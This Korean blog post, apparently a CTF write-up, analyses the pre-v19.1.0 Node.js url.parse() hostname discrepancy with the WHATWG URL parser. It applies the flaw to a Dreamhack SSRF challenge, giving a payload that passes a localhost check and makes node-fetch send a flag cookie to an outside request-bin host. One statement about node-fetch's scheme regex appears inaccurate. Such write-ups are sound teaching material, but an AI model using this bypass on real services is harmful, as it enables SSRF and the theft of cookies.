[Nodejs] url.parse() Vuln analysis

nobody09·2024년 9월 2일

Vulnerability Analysis

목록 보기
1/4
post-thumbnail

1. 발생 원인

들어가기에 앞서, 이 취약점은 v19.1.0 이전에서 적용 가능하다. 현재는 패치됐다.

WHATWG
WHATWG: 국제 웹 표준화 그룹. 여기에서 제공하는 URL API로 URL을 다룰 수 있다.

Nodejs의 url라이브러리에는 WHATWG URL API와는 다르게 hostname을 파싱하는 부분이 있다. url라이브러리의 getHostname()함수가 그것이다. url라이브러리를 살펴보자.

url라이브러리의 184라인 Url.prototype.parse = function parse(url, parseQueryString, slashesDenoteHost)에서 정의된 parse 함수는

 let hostEnd = -1;
    let atSign = -1;
    let nonHost = -1;
    for (let i = 0; i < rest.length; ++i) {
      switch (rest.charCodeAt(i)) {
        case CHAR_TAB:
        case CHAR_LINE_FEED:
        case CHAR_CARRIAGE_RETURN:
        case CHAR_SPACE:
        case CHAR_DOUBLE_QUOTE:
        case CHAR_PERCENT:
        case CHAR_SINGLE_QUOTE:
        case CHAR_SEMICOLON:
        case CHAR_LEFT_ANGLE_BRACKET:
        case CHAR_RIGHT_ANGLE_BRACKET:
        case CHAR_BACKWARD_SLASH:
        case CHAR_CIRCUMFLEX_ACCENT:
        case CHAR_GRAVE_ACCENT:
        case CHAR_LEFT_CURLY_BRACKET:
        case CHAR_VERTICAL_LINE:
        case CHAR_RIGHT_CURLY_BRACKET:
          // Characters that are never ever allowed in a hostname from RFC 2396
          if (nonHost === -1)
            nonHost = i;
          break;
        case CHAR_HASH:
        case CHAR_FORWARD_SLASH:
        case CHAR_QUESTION_MARK:
          // Find the first instance of any host-ending characters
          if (nonHost === -1)
            nonHost = i;
          hostEnd = i;
          break;
        case CHAR_AT:
          // At this point, either we have an explicit point where the
          // auth portion cannot go past, or the last @ char is the decider.
          atSign = i;
          nonHost = -1;
          break;
      }
      if (hostEnd !== -1)
        break;
    }
    start = 0;
    if (atSign !== -1) {
      this.auth = decodeURIComponent(rest.slice(0, atSign));
      start = atSign + 1;
    }
    if (nonHost === -1) {
      this.host = rest.slice(start);
      rest = '';
    } else {
      this.host = rest.slice(start, nonHost);
      rest = rest.slice(nonHost);
    }

이 부분을 통해 전달된 url에서 host를 파싱한다. url에서 #, /, ?중 하나를 발견하거나, RFC_2396에 정의된 Excluded US-ASCII Characters를 만나면 검사를 종료하고 이전 문자까지의 범위를 host로 지정한다(nonHost 까지의 부분을 host로 간주한다).

만약 해당 문자가 전혀 없다면, rest전체를 host로 간주한다. 뭐.. 여기까지는 큰 문제가 없어 보인다.

이후

// line 394
if (!ipv6Hostname) {
      rest = getHostname(this, rest, hostname);
    }

이 부분을 통해 getHostname 함수를 호출한다. 이 함수를 살펴보자.

// v19.0.1 code
function getHostname(self, rest, hostname) {
  for (let i = 0; i < hostname.length; ++i) {
    const code = hostname.charCodeAt(i);
    const isValid = (code >= CHAR_LOWERCASE_A && code <= CHAR_LOWERCASE_Z) ||
                    code === CHAR_DOT ||
                    (code >= CHAR_UPPERCASE_A && code <= CHAR_UPPERCASE_Z) ||
                    (code >= CHAR_0 && code <= CHAR_9) ||
                    code === CHAR_HYPHEN_MINUS ||
                    code === CHAR_PLUS ||
                    code === CHAR_UNDERSCORE ||
                    code > 127;

    // Invalid host character
    if (!isValid) {
      self.hostname = hostname.slice(0, i);
      return `/${hostname.slice(i)}${rest}`;
    }
  }
  return rest;
}

위에서 파싱된 host의 각 문자가 isValid조건에 맞는지 검사한다. 조건은

[a-zA-Z0-9] 또는 _ 또는 . 또는 - 또는 +

위와 같다. 이 범위를 벗어나는 문자가 host에 존재하면 (예를 들어 * 또는 ! 또는 =. 나머지 범위를 벗어나는 문자는 앞에서 필터링된다.) 반복을 종료하고 종료 시점의 문자 이전까지를 다시 host로 설정한다(업데이트). 나머지는 rest로 반환한다. 반면 WHATWG URL API는 url에서 host를 // 뒤에서 시작해 첫 번째 / 또는 ? 또는 #까지의 부분으로 파싱한다.

parse함수 내부에서 파싱된 host를 getHostname함수로 다시 파싱한다는 점 때문에, 공격자는 host입력 검증을 우회할 수 있다.


2. 관련 문제

2-1. 문제 상 취약점 분석

Dreamhack의 weird legacy문제다. 먼저 소스를 보자.

// package.json 일부
...
  "keywords": [],
  "author": "",
  "license": "ISC",
  "dependencies": {
    "express": "^4.18.1",
    "node-fetch": "^2.6.6"
  }
...

// index.js
const express = require("express");
const node_fetch = require("node-fetch");
const app = express();
const PORT = 3000;
const FLAG = "DH{dummy}";

app.get("/", async (req, res) => {
  res.sendFile(__dirname + "/views/index.html");
});

app.get("/fetch", async (req, res) => {
  const url = req.query.url;

  if (!url) return res.send("?url=<br>ex) http://localhost:3000/");

  let host;
  try {
    // key part 1 start
    const urlObject = new URL(url);
    host = urlObject.hostname;

    if (host !== "localhost" && !host.endsWith("localhost")) return res.send("rejected");
  } catch (error) {
    return res.send("Invalid Url");
  }
    // key part 1 end
	
  	// key part 2 start
  try {
    let result = await node_fetch(url, {
      method: "GET",
      headers: { "Cookie": `FLAG=${FLAG}` },
    });
    const data = await result.text();
    res.send(data);
    // key aprt 2 end
  } catch {
    return res.send("Request Failed");
  }
});

app.listen(PORT, () => {
  console.log(`Server Running on ${PORT}`);
});

node-fetch
중요한 부분은 주석으로 표시해뒀다. 먼저 key part 1을 보자.

    const urlObject = new URL(url);
    host = urlObject.hostname;

    if (host !== "localhost" && !host.endsWith("localhost")) return res.send("rejected");
  } catch (error) {
    return res.send("Invalid Url");
  }

new URL(url)은 WHATWG URL API로 url을 파싱하겠다는 의미다. 파싱된 host가 localhost거나, localhost로 끝나면 조건을 통과할 수 있다.

다음으로 key part 2를 보자.

  try {
    let result = await node_fetch(url, {
      method: "GET",
      headers: { "Cookie": `FLAG=${FLAG}` },
    });
    const data = await result.text();
    res.send(data);

node_fetch(url, ...) 부분이 보인다. node-fetch라이브러리를 사용한건데, package.json 일부 부분을 보면 알 수 있듯이 2.x.x버전이다. node-fetch라이브러리도 분석해 보자. 이 라이브러리 내부에서 WHATWG URL API를 사용하지 않고 url.parse()를 사용한다면 취약점이 발생할 것이다.

// node-fetch library v2.x.x
import Url from 'url';
import Stream from 'stream';
import whatwgUrl from 'whatwg-url';
import Headers, { exportNodeCompatibleHeaders } from './headers.js';
import Body, { clone, extractContentType, getTotalBytes } from './body';

const INTERNALS = Symbol('Request internals');
const URL = Url.URL || whatwgUrl.URL;

// fix an issue where "format", "parse" aren't a named export for node <10
const parse_url = Url.parse;
const format_url = Url.format;

/**
 * Wrapper around `new URL` to handle arbitrary URLs
 *
 * @param  {string} urlStr
 * @return {void}
 */
function parseURL(urlStr) {
	/*
		Check whether the URL is absolute or not

		Scheme: https://tools.ietf.org/html/rfc3986#section-3.1
		Absolute URL: https://tools.ietf.org/html/rfc3986#section-4.3
	*/
	if (/^[a-zA-Z][a-zA-Z\d+\-.]*:/.exec(urlStr)) {
		urlStr = new URL(urlStr).toString()
	}

	// Fallback to old implementation for arbitrary URLs
	return parse_url(urlStr);
  ...생략...
}
  • url.parse함수를 parse_url에 저장한다.
  • url이 해당 정규표현식을 만족하면, WHATWG URL API로 파싱하고, 아닌 경우 url.parse()함수를 이용해 파싱한다.

앞서 url.parse에 취약점이 존재한다는 것을 알아냈으니, 공격에 적용해 보자.

목표는 url을 WHATWG URL API로 파싱했을 때 host가 localhost로 해석되거나, localhost로 끝나도록 조작해서 검증을 우회한 뒤, node_fetch를 실행하는 것이다. 요청한 url로 플래그를 포함하는 쿠키를 보내주기 때문에, dreamhack의 request bin기능을 이용하겠다.

2-2. 익스플로잇

/fetch엔드포인트에 url파라미터로 원하는 url을 보내면 된다. 페이로드는 다음과 같이 구성했다.
https://muucnxr.request.dreamhack.games*localhost

이 url은 먼저 WHATWG URL API에 의해 host=muucnxr.request.dreamhack.games*localhost으로 파싱된다. 이는 localhost로 끝나므로, 조건문을 우회할 수 있다. 이후 node_fetch가 실행되는데, 정규표현식 /^[a-zA-Z][a-zA-Z\d+\-.]*:/을 만족하지 않기 때문에 url.parse()함수로 넘어간다.

parse함수 내부에서 첫 번째로 host를 파싱하는 부분에서는 걸리는 것 없이 host를 똑같이 유지한다. 하지만 이후 getHostname 함수에서 *문자가 isValid의 조건에 걸리기 때문에, *문자 이전까지만 host로 다시 파싱된다. 따라서 host는 muucnxr.request.dreamhack.games가 된다.

단계별 host의 변화

이렇게 서버로 하여금 원하는 url에 요청을 보내게 만들었다. 쿠키를 확인하면 플래그를 얻을 수 있다.


3. 참고

url library : https://github.com/nodejs/node/blob/v19.0.1/lib/url.js

node-fetch library : https://github.com/node-fetch/node-fetch/blob/2.x/src/request.js

rfc 2396 : https://datatracker.ietf.org/doc/html/rfc2396#section-2.4.3

rfc 3986 : https://www.rfc-editor.org/rfc/rfc3986#section-2.2

0개의 댓글